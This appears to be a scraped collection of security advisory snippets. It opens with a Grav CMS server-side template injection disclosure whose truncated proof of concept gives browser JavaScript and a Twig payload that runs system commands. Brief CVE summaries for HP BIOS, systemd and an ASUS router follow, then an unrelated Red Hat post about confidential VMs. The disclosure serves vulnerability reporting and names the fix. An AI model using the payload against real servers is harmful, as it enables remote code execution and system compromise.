### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen. ### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. ### PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=__unique_form_id__]").value; const payload = "{{['id']|map('system')|join}}"; // SSTI Payload const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", "...

Grav is a file-based Web platform. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.

Potential vulnerabilities have been identified in the system BIOS of certain HP PC products, which might allow arbitrary code execution, escalation of privilege, denial of service, and information disclosure.

Potential time-of-check to time-of-use (TOCTOU) vulnerabilities have been identified in the BIOS for certain HP PC products, which might allow arbitrary code execution, escalation of privilege, denial of service, and information disclosure.

An issue was discovered in systemd 253. An attacker can modify the contents of past events in a sealed log file and then adjust the file such that checking the integrity shows no error, despite modifications.

ASUS Router RT-AX3000 Firmware versions prior to 3.0.0.4.388.23403 uses sensitive cookies without 'Secure' attribute. When an attacker is in a position to be able to mount a man-in-the-middle attack, and a user is tricked to log into the affected device through an unencrypted ('http') connection, the user's session may be hijacked.

Potential Time-of-Check to Time-of Use (TOCTOU) vulnerabilities have been identified in the HP BIOS for certain HP PC products which may allow arbitrary code execution, denial of service, and information disclosure.

In this post, we will present confidential virtual machines (CVMs) as one of the use cases of confidential computing as well as the security benefits expected from this emerging technology. We will focus on the high level requirements for the Linux guest operating system to ensure data confidentiality both in use and at rest. This blog follows the recent release of Red Hat Enterprise Linux 9.2 running on Azure Confidential VMs. CVMs are also a critical building block for the upcoming OpenShift confidential containers in OpenShift 4.13 (dev-preview).
